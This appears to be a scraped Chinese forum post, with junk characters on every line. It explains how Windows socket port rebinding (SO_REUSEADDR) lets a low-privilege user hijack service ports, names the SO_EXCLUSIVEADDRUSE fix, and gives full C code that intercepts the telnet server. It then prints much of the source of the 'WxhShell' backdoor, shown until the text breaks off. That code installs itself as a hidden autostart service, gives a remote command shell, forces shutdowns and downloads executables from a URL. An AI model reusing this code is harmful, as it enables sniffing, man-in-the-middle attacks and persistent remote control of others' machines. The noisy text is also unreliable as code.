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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tl'9IGlc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qt^T6+faaQ  
`8>Py~  
  saddr.sin_family = AF_INET; B7<Kc  
-O!Zxg5x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !G}+E2fDA  
Y.U[wL>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D"ehWLj  
@b~fIW_3>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n` TSu$  
o9S+6@  
  这意味着什么?意味着可以进行如下的攻击: P#/HTu5q7  
b-*3 2Y%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `TPOCxM Mo  
,SiY;(b=\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fb:j%1WF  
3y~r72J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^3FE\V/=  
&0BdUU+:<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @*DyZB  
l-$uHHyu*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -}6xoF?  
$<|l E/_]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tpTAeQ*:d  
d4 (/m_HMu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d'Axum@  
5rV( (  
  #include awUx=%ERtA  
  #include K[7EOXLy  
  #include lM[XS4/TRa  
  #include    z]bwnJfd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S"hTE7`   
  int main() =@5x"MOz  
  { !;!~n`  
  WORD wVersionRequested; s{4\xAS>  
  DWORD ret; )I-fU4?  
  WSADATA wsaData; =60~UM  
  BOOL val; 35x 0T/8  
  SOCKADDR_IN saddr; l@hjP1o  
  SOCKADDR_IN scaddr; @&hnL9D8lL  
  int err; (?b@b[D~4  
  SOCKET s; N=)z  
  SOCKET sc; M#@aB"@J>  
  int caddsize; <_./SC  
  HANDLE mt; $8BE[u|H2  
  DWORD tid;   n!E2_  
  wVersionRequested = MAKEWORD( 2, 2 ); ='E$-_  
  err = WSAStartup( wVersionRequested, &wsaData ); [;b=A  
  if ( err != 0 ) { -n? g~(/P  
  printf("error!WSAStartup failed!\n"); TjBY 4  
  return -1; N|2y"5  
  } ]fI/(e_U  
  saddr.sin_family = AF_INET; T/P7F\R  
   +tN &a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 il:nXpM!  
G8Y+w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %:qoV0DR  
  saddr.sin_port = htons(23); U~2`P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yp4c'Zk  
  { V8z`qEPM  
  printf("error!socket failed!\n"); K$REZe  
  return -1; wp.TfKxw  
  } Gr(|Ra .  
  val = TRUE; b]]N{: I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]wuy_+$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p11G#.0  
  { O hR1Jaed  
  printf("error!setsockopt failed!\n"); UlQQP^Na  
  return -1; 9''p[V.3  
  } qSO*$1i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1;W=!Fx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oaDsk<(j;R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q?~Rnv  
|&hU=J o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xNN@1P[*  
  { -0,4eg j3  
  ret=GetLastError(); y>(rZ^y&  
  printf("error!bind failed!\n"); RFG$X-.e  
  return -1; i|\{\d  
  } ibF#$&!  
  listen(s,2); CJq c\I~  
  while(1) $ehg@WK}.  
  { Eqphd!\#6  
  caddsize = sizeof(scaddr); nJVp.*S  
  //接受连接请求 3DoRE2}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a%~yol0wO7  
  if(sc!=INVALID_SOCKET) Gidkt;lj  
  { B2hfD-h,>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4=p@2g2"H  
  if(mt==NULL) c)1=U_61  
  { |ft:|/^F&  
  printf("Thread Creat Failed!\n"); "r-l8r,  
  break; gGKKs&n7  
  } t]TyXAr~  
  } 6D9o08  
  CloseHandle(mt); /Antb6E  
  } )bYez  
  closesocket(s); ULvVD6RQ47  
  WSACleanup(); A ^B@VuK  
  return 0; POBpJg  
  }   gNa#|  
  DWORD WINAPI ClientThread(LPVOID lpParam) uJPH~mdW   
  { "3t\em!  
  SOCKET ss = (SOCKET)lpParam; zPQ$\$7xB  
  SOCKET sc; P{lh)m>  
  unsigned char buf[4096]; <R~KM=rL  
  SOCKADDR_IN saddr; XZ@ >]P  
  long num; 3o7xN=N  
  DWORD val; /.-m}0h|W-  
  DWORD ret; ;qT5faKB3J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HWR& C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <NL+9lR  
  saddr.sin_family = AF_INET; o*)@oU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W]~ZkQ|P  
  saddr.sin_port = htons(23); 'WzUu MCx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fc{((x s  
  { K-<n`zg3  
  printf("error!socket failed!\n"); XbXgU#%  
  return -1; | /#'S&!U  
  } T Xl\hL\+  
  val = 100; KF4see;;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Deog4Ol"/  
  { U;>B7X;`E4  
  ret = GetLastError(); Vd[  2u  
  return -1; *e,CDV  
  } aZC*7AK   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,@,LD  u  
  { ^s.oZj q  
  ret = GetLastError(); :3 PGf  
  return -1; 0. (zTJ  
  } L<"k 7)k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =yo=q)W  
  { C,R,:zR  
  printf("error!socket connect failed!\n"); &8juS,b  
  closesocket(sc); qY# m*R  
  closesocket(ss); lW&[mnR  
  return -1; dY 6B%V  
  } dkf}),Z F  
  while(1) @],Z 2  
  { Za34/ro/T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `$f\ %  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^v#+PyW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mMga"I9  
  num = recv(ss,buf,4096,0); R+k=Ea&x  
  if(num>0) IBzHR[#,^  
  send(sc,buf,num,0); R<_mK33hd  
  else if(num==0) Xk 5oybDI  
  break; S_`W@cp[  
  num = recv(sc,buf,4096,0); a\.//?  
  if(num>0) jg7d7{{SB  
  send(ss,buf,num,0); sn2r >m3  
  else if(num==0) v4X_v!CQ  
  break; BW+qp3k\  
  } U<1}I.hDJ  
  closesocket(ss); X9p+a,  
  closesocket(sc); |Tj`qJGVw  
  return 0 ; 1VRqz5  
  } ux)<&p.  
cq- e c7  
mxtlr)  
========================================================== GZ; Z  
sxf}Mmsk  
下边附上一个代码,,WXhSHELL 1x^W'n,HtK  
rGQ86L<  
========================================================== ddGkk@CA  
$Vd?K@W[h  
#include "stdafx.h" l6r%nHP@  
yz54:q?  
#include <stdio.h> X20<r?^,,  
#include <string.h> WBIQ%XB'  
#include <windows.h> n=lggBRx  
#include <winsock2.h> 11nO<WH  
#include <winsvc.h> wWp?HDl"M  
#include <urlmon.h> F(0pru4u  
e7)>U!9c9  
#pragma comment (lib, "Ws2_32.lib") ;,[EJR^CI  
#pragma comment (lib, "urlmon.lib") G <}7vF  
MVu[gB  
#define MAX_USER   100 // 最大客户端连接数 7$E2/@f  
#define BUF_SOCK   200 // sock buffer [346w <  
#define KEY_BUFF   255 // 输入 buffer b}"vI Rz  
x`j_d:C~G  
#define REBOOT     0   // 重启 si+5h6I.}  
#define SHUTDOWN   1   // 关机 /9t*CEu\  
\`p|,j  
#define DEF_PORT   5000 // 监听端口 g[uE@Gaj&  
C5W-B8>  
#define REG_LEN     16   // 注册表键长度 ?Mgt5by  
#define SVC_LEN     80   // NT服务名长度  xLGTnMYd  
Rqv+N]  
// 从dll定义API 8. ~Euz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .1l[l5$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AmrJ_YP/t~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {/,+_E/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [{Klv&>_/  
=#PudF.\  
// wxhshell配置信息 $[L)f| l  
struct WSCFG { {BwN4r46  
  int ws_port;         // 监听端口 ir1RAmt%  
  char ws_passstr[REG_LEN]; // 口令 eQ4B5B%j/x  
  int ws_autoins;       // 安装标记, 1=yes 0=no r.W"@vc>  
  char ws_regname[REG_LEN]; // 注册表键名 %'p|JS  
  char ws_svcname[REG_LEN]; // 服务名 '~!l(&X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RM / s :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jDkc~Wwa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {U2| ):  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :EmMia-)J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ABS BtH ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d#$i/&gE  
{pi67"mYp  
}; {Rh+]=7  
|Z +E(F  
// default Wxhshell configuration #v]aT  ]}  
struct WSCFG wscfg={DEF_PORT, c~u F  
    "xuhuanlingzhe", u8)r W  
    1, rea}Uq+po  
    "Wxhshell", . LVOaxT  
    "Wxhshell", X/C54%T ~  
            "WxhShell Service", aABE= 9Y  
    "Wrsky Windows CmdShell Service", (]# JpQ  
    "Please Input Your Password: ", 2%, ' }Bus  
  1, _}%# Yz  
  "http://www.wrsky.com/wxhshell.exe", - G2M;]Cn  
  "Wxhshell.exe" (/UMi,Ho  
    }; &-. eu  
' c\TMb.  
// 消息定义模块 L.~]qs|G/K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J}`$WL:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )#TJw@dNf^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0}3'h#33=  
char *msg_ws_ext="\n\rExit."; ;$&5I9N  
char *msg_ws_end="\n\rQuit."; _ O71r}4  
char *msg_ws_boot="\n\rReboot..."; t~=@r9`S  
char *msg_ws_poff="\n\rShutdown..."; G"R>aw  
char *msg_ws_down="\n\rSave to "; in|7ucSlg  
t 1'or  
char *msg_ws_err="\n\rErr!"; ~k_zMU-1  
char *msg_ws_ok="\n\rOK!"; IpVwnNj!}  
W}i$f -K  
char ExeFile[MAX_PATH]; kj"_Y"q=  
int nUser = 0; ktJLp Z<0O  
HANDLE handles[MAX_USER]; h 7P?n.K  
int OsIsNt; ,oVBgCf  
* =N 6_  
SERVICE_STATUS       serviceStatus; RJm8K,3#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5nw9zW :'  
.j@n6RyN  
// 函数声明 B=xZkc  
int Install(void); ap_+C~%+  
int Uninstall(void); F476"WF  
int DownloadFile(char *sURL, SOCKET wsh); x \{jWR%  
int Boot(int flag); aWK7 -n  
void HideProc(void); 9W r(w  
int GetOsVer(void); K%@SS8!oy  
int Wxhshell(SOCKET wsl); ~}l,H:jk@  
void TalkWithClient(void *cs); Ceb i9R[  
int CmdShell(SOCKET sock); ?(hQZR 0e  
int StartFromService(void); <qiap2  
int StartWxhshell(LPSTR lpCmdLine); _Dt TG<E  
&BR?;LD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gVWLY;c 3}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 89dC bF3b  
R-|]GqS}L  
// 数据结构和表定义 u _^=]K;  
SERVICE_TABLE_ENTRY DispatchTable[] = yXmp]9$  
{ '0?E|B]Cp%  
{wscfg.ws_svcname, NTServiceMain}, ?*dx=UI  
{NULL, NULL} ~Q]M_,`M  
}; j<5R$^?U  
0pz X!f1~  
// 自我安装 $ {"St&(  
int Install(void) )&-+:u0  
{ t)+dW~g  
  char svExeFile[MAX_PATH]; c *noH[  
  HKEY key; Un+Jz ?Y  
  strcpy(svExeFile,ExeFile); zK;t041e  
PUArKBYM-  
// 如果是win9x系统,修改注册表设为自启动 s o s&  
if(!OsIsNt) { 3E9j%sYk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tx-bzLo\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s*Ll\#  
  RegCloseKey(key); mK4A/bsE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { upKrr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 548BM^^"r  
  RegCloseKey(key); !ZdUW]  
  return 0; Rl8-a8j$f.  
    } aKO@_R,:  
  } BO|Jrr>  
} 64@s|m*  
else { 6;DPGx  
eU0-_3gN_  
// 如果是NT以上系统,安装为系统服务 I'hQbLlG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &B C#u.^!  
if (schSCManager!=0) ^(3k uF  
{ /|f]L9)2<  
  SC_HANDLE schService = CreateService cCs:z   
  ( wr(?L7 $+  
  schSCManager, ~sD'pS  
  wscfg.ws_svcname, "AVc^>  
  wscfg.ws_svcdisp, $G[##j2  
  SERVICE_ALL_ACCESS, cCIEG e6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3-5lO#&#  
  SERVICE_AUTO_START, C'#:}]@E  
  SERVICE_ERROR_NORMAL, HN+z7Q8hH  
  svExeFile, G 2##M8:U0  
  NULL, eNX-2S  
  NULL, &V$R@~x  
  NULL, K"61i:F  
  NULL, "fdG5|NJe  
  NULL =v8q  
  ); [sBD|P;M  
  if (schService!=0) HO>uS>+  
  { P%c<0y"O:>  
  CloseServiceHandle(schService); vjb{h'v  
  CloseServiceHandle(schSCManager); d {4br  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p|%)uA3'/  
  strcat(svExeFile,wscfg.ws_svcname); QXCI+Fcg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lz>hP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +?8nY.~,'  
  RegCloseKey(key); _ i8}ld-  
  return 0; sx;1V{|g  
    } rlq8J/0/+  
  } _z;N|Xe  
  CloseServiceHandle(schSCManager); yI!K quMC  
} Q_Rr5/  
} y =CemJ[~  
H:`r!5&Qb5  
return 1; `WVQp"m  
} <m!\Ma  
*m2:iChY  
// 自我卸载 ]du pU"VV  
int Uninstall(void) 8r5j~Df  
{ iMS S8J  
  HKEY key; :mij%nQ>$  
|cH\w"DcXw  
if(!OsIsNt) { IzG7!K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gh j[nsoC~  
  RegDeleteValue(key,wscfg.ws_regname); Wl1%BN0>  
  RegCloseKey(key); W!{uEH{%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hod|o1C&  
  RegDeleteValue(key,wscfg.ws_regname); ?/;<32cE,  
  RegCloseKey(key); B|8(}Ciqx  
  return 0; m2_B(-  
  } E 0YXgQa  
} wFh{\  
} %FwLFo^v  
else { 6d_l[N  
TO QvZ?_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 18Ty )7r'  
if (schSCManager!=0) $Uzc  
{ hI"I#(*jA%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .; :[sv)  
  if (schService!=0) Ls9G:>'rR  
  { KNV$9&Z  
  if(DeleteService(schService)!=0) { $v+g3+7  
  CloseServiceHandle(schService); JMoWA0f  
  CloseServiceHandle(schSCManager); UlyX$f%2  
  return 0; 7.]ZD`"Bb  
  } u ; I5n  
  CloseServiceHandle(schService); 8G9V8hS1#B  
  } \i{=%[c  
  CloseServiceHandle(schSCManager); TN&1C8xr  
} /<GygRs  
} @n<WM@|l  
% nJ'r?+h  
return 1; GMFp,Df  
} .x}ImI  
F`'e/  
// 从指定url下载文件 2&dtOyxo>  
int DownloadFile(char *sURL, SOCKET wsh) zL1H[}[z+  
{ JrO2"S  
  HRESULT hr; &FGz53fd4  
char seps[]= "/"; P*G&pitT  
char *token; $BCqz! 4K  
char *file; {4UlJ,Z.n  
char myURL[MAX_PATH]; .I[uXd  
char myFILE[MAX_PATH]; 'H:lR1(,  
!qT.D:!@zF  
strcpy(myURL,sURL); haS`V  
  token=strtok(myURL,seps); M++*AZ  
  while(token!=NULL) 5WY..60K,  
  { T5o9pm D  
    file=token; J7$5<  
  token=strtok(NULL,seps); Es1Yx\/:  
  } vuA';,:~  
3Cq17A 9  
GetCurrentDirectory(MAX_PATH,myFILE); 9_oIAn:<  
strcat(myFILE, "\\"); BHqJ~2&FDW  
strcat(myFILE, file); ,:j^EDCsaJ  
  send(wsh,myFILE,strlen(myFILE),0); p<tj6O  
send(wsh,"...",3,0); %/jm Q6z^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L3'o2@$  
  if(hr==S_OK) 5Tkh6s  
return 0; 1P@&xcvS\  
else dyD =R  
return 1; 9["yL{IPe  
VWaI!bK  
} >?'cZTNk]  
/EA4-#uw  
// 系统电源模块 \,oT(p4N%M  
int Boot(int flag) +kmPQdO;*/  
{ +(QGlRd  
  HANDLE hToken; Lr V)}1&5  
  TOKEN_PRIVILEGES tkp; `fj(xrI  
dt<PZ.  
  if(OsIsNt) { KzG8K 6wZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s'J8E+&5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <{JHFU`^  
    tkp.PrivilegeCount = 1; 8J7 xs6@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pTX{j=n!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7_?:R2]n  
if(flag==REBOOT) { TY],H=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bo4 :|Z  
  return 0; W -8<sv$b  
} "9>~O`l,  
else { _A;jtS)SY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r*OSEzGUz  
  return 0; T4F}MVK  
} JnlM0jc]`  
  } Y7zg  
  else { D: NBb!   
if(flag==REBOOT) { ]3BTL7r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z;xp1t @  
  return 0; 6Y>MW 4q  
} tz4MT_f  
else { yNoJrA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N4}j,{#  
  return 0; dP=1*  
} TxoMCN?7c  
} 5hUYxF20h8  
! k)}p_e  
return 1; V<$g^Vb  
} ),(ejRP'r  
>k,bHGj?  
// win9x进程隐藏模块 ;]D@KxO$dJ  
void HideProc(void) tV<}!~0,*  
{ 7[rn ,8@  
3k` "%R.H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 17I{_C  
  if ( hKernel != NULL ) _ r0oOpE  
  { E3<jH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /J]Yj,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *]nha1!S  
    FreeLibrary(hKernel); UO47XAO  
  } %<6oKE  
'S@%  
return; ^hv  
} BG_m}3j  
B q+RFo  
// 获取操作系统版本 iJv4%|9  
int GetOsVer(void) QU|{(c  
{ w|pk1~c(_  
  OSVERSIONINFO winfo; oUIa/}}w5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O`~G'l&@T  
  GetVersionEx(&winfo); VI,z7 \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i;;CU9`E2q  
  return 1; ol^V@3[<  
  else ;n$j?n+|  
  return 0; "(PJh\S>S  
} W?mn8Y;{`  
gRIRc4p  
// 客户端句柄模块 {(]B{n  
int Wxhshell(SOCKET wsl) [7q~rcf,Z  
{ rVowHP  
  SOCKET wsh; :BKY#uH~  
  struct sockaddr_in client; ; 29q  
  DWORD myID;  7m_Jb5  
ks< gSCB  
  while(nUser<MAX_USER) <&\HXAOd  
{ {\ [u2{  
  int nSize=sizeof(client); X[_w#Hwp-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8fFURk  
  if(wsh==INVALID_SOCKET) return 1;  /s.sW l  
vNlYk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gm~Ka%O|F  
if(handles[nUser]==0) XKN`{h-@  
  closesocket(wsh); 8.HqQ:?&2t  
else |(N4ZmTm  
  nUser++; }C!N$8d,  
  } ,+<NP}Yg#G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NlXHOUw)u  
\gaGTc2&  
  return 0; <\eHK[_*  
} !q=ej^(S  
sCU<1=   
// 关闭 socket 3$[!BPLFO  
void CloseIt(SOCKET wsh) fQRGz\r*k  
{ ag^EH"%zw  
closesocket(wsh); 8X!^ 2B}J  
nUser--; QyQ&xgS  
ExitThread(0); &dp<i[ec^  
} ?.~E:8  
.P+om<~B  
// 客户端请求句柄 ce!0Ws+  
void TalkWithClient(void *cs) H(9%SP@[c  
{ ku3Vr\s  
*>,8+S33r{  
  SOCKET wsh=(SOCKET)cs; pe$" nUy|  
  char pwd[SVC_LEN]; F+ qRC_C>O  
  char cmd[KEY_BUFF]; |1C=Ow*"  
char chr[1]; H+y(W5|2/X  
int i,j; .<5 66g}VP  
oG~a`9N%C  
  while (nUser < MAX_USER) { v MTWtc!6  
NwbB\Wl  
if(wscfg.ws_passstr) { xR `4<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m[7@l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > 5-z"f  
  //ZeroMemory(pwd,KEY_BUFF); It>8XKS  
      i=0; _1_CYrUc  
  while(i<SVC_LEN) { ``KimeA~  
$'Z\'<k[  
  // 设置超时 hAq7v']m  
  fd_set FdRead; `%_yRJd|;  
  struct timeval TimeOut; QII-9 RxX"  
  FD_ZERO(&FdRead); 0Snl_@s  
  FD_SET(wsh,&FdRead); 7 -yf  
  TimeOut.tv_sec=8; s8;/'?K  
  TimeOut.tv_usec=0; Ve\^(9n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2VO bj7F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %GS^=Qr  
8U}BSM_<2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yneIY-g(p  
  pwd=chr[0]; w5zr Ek#  
  if(chr[0]==0xd || chr[0]==0xa) { HUUN*yikj  
  pwd=0; }4G/x;D  
  break; AmYqrmJ  
  }  g=W1y  
  i++;  <sdC#j  
    } esE5#Yq4.k  
4rkj$  
  // 如果是非法用户,关闭 socket w0W9N%f#=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h\C" ti2  
} rjsqXo:9  
[!Uzw 2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O#[+= ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c*F'x-TH  
Gp*U2LB  
while(1) { 7-Bttv{  
EPO*{bN7O  
  ZeroMemory(cmd,KEY_BUFF); $'m&RzZ  
Py?EA*(d#  
      // 自动支持客户端 telnet标准   08*O|Ym,  
  j=0; c j-_  
  while(j<KEY_BUFF) { "^?|=sQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gN"Abc  
  cmd[j]=chr[0]; s^O>PEX&<I  
  if(chr[0]==0xa || chr[0]==0xd) { [Ol}GvzJ7  
  cmd[j]=0; Ekq&.qjYG"  
  break; R^t )~\d  
  } <$m=@@qg  
  j++; V* :Q~ ^  
    } [}p/pj=  
sqKLz  
  // 下载文件 LojEJ  
  if(strstr(cmd,"http://")) { \TchRSe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z 'iAj  
  if(DownloadFile(cmd,wsh)) JQ9JWu%a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZAK NyA2  
  else [):&R1U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s]=bg+v?j  
  } 8vP:yh@  
  else { ;0R|#9oX_  
.)eJL  
    switch(cmd[0]) { %+>t @F,GM  
  drv"I[}{A  
  // 帮助 [xaglZ9HNo  
  case '?': { \a\J0&Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y7&8P8R  
    break; [ij8h,[~]  
  } D7'P^*4_B  
  // 安装 I $5*Puy#  
  case 'i': { BkZmE,  
    if(Install()) $ U~3$*R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|7Ma/8v  
    else sE,Q:@H5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7mUpn:U  
    break; \&|zD"*  
    } =CCxY7)M+.  
  // 卸载 >'qkW$-95  
  case 'r': { 83^|a5  
    if(Uninstall()) !a(#G7zA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FN-j@  
    else =K#12TRf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/Nd  
    break; uU7s4oJ|  
    } y)5U*\b  
  // 显示 wxhshell 所在路径 )ifEgBT  
  case 'p': { aa:97w~s0  
    char svExeFile[MAX_PATH]; ZO`{t1   
    strcpy(svExeFile,"\n\r"); ?2;gmZd7  
      strcat(svExeFile,ExeFile); upD 2vtU  
        send(wsh,svExeFile,strlen(svExeFile),0); EPY64 {  
    break; n'dxa<F2|  
    } EQ;,b4k?&g  
  // 重启 09_L^'`  
  case 'b': { |.]:#)^X?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w]BZgF.  
    if(Boot(REBOOT)) ;M<jQntqS{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("UzMr,  
    else { -ZmccT"8  
    closesocket(wsh); G!y~Y]e  
    ExitThread(0); #i#4h<R  
    } [sM~B  
    break; r306`)kX  
    } (#4   
  // 关机 ;:w?&4  
  case 'd': { hXvg<Rf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rUb`_W@  
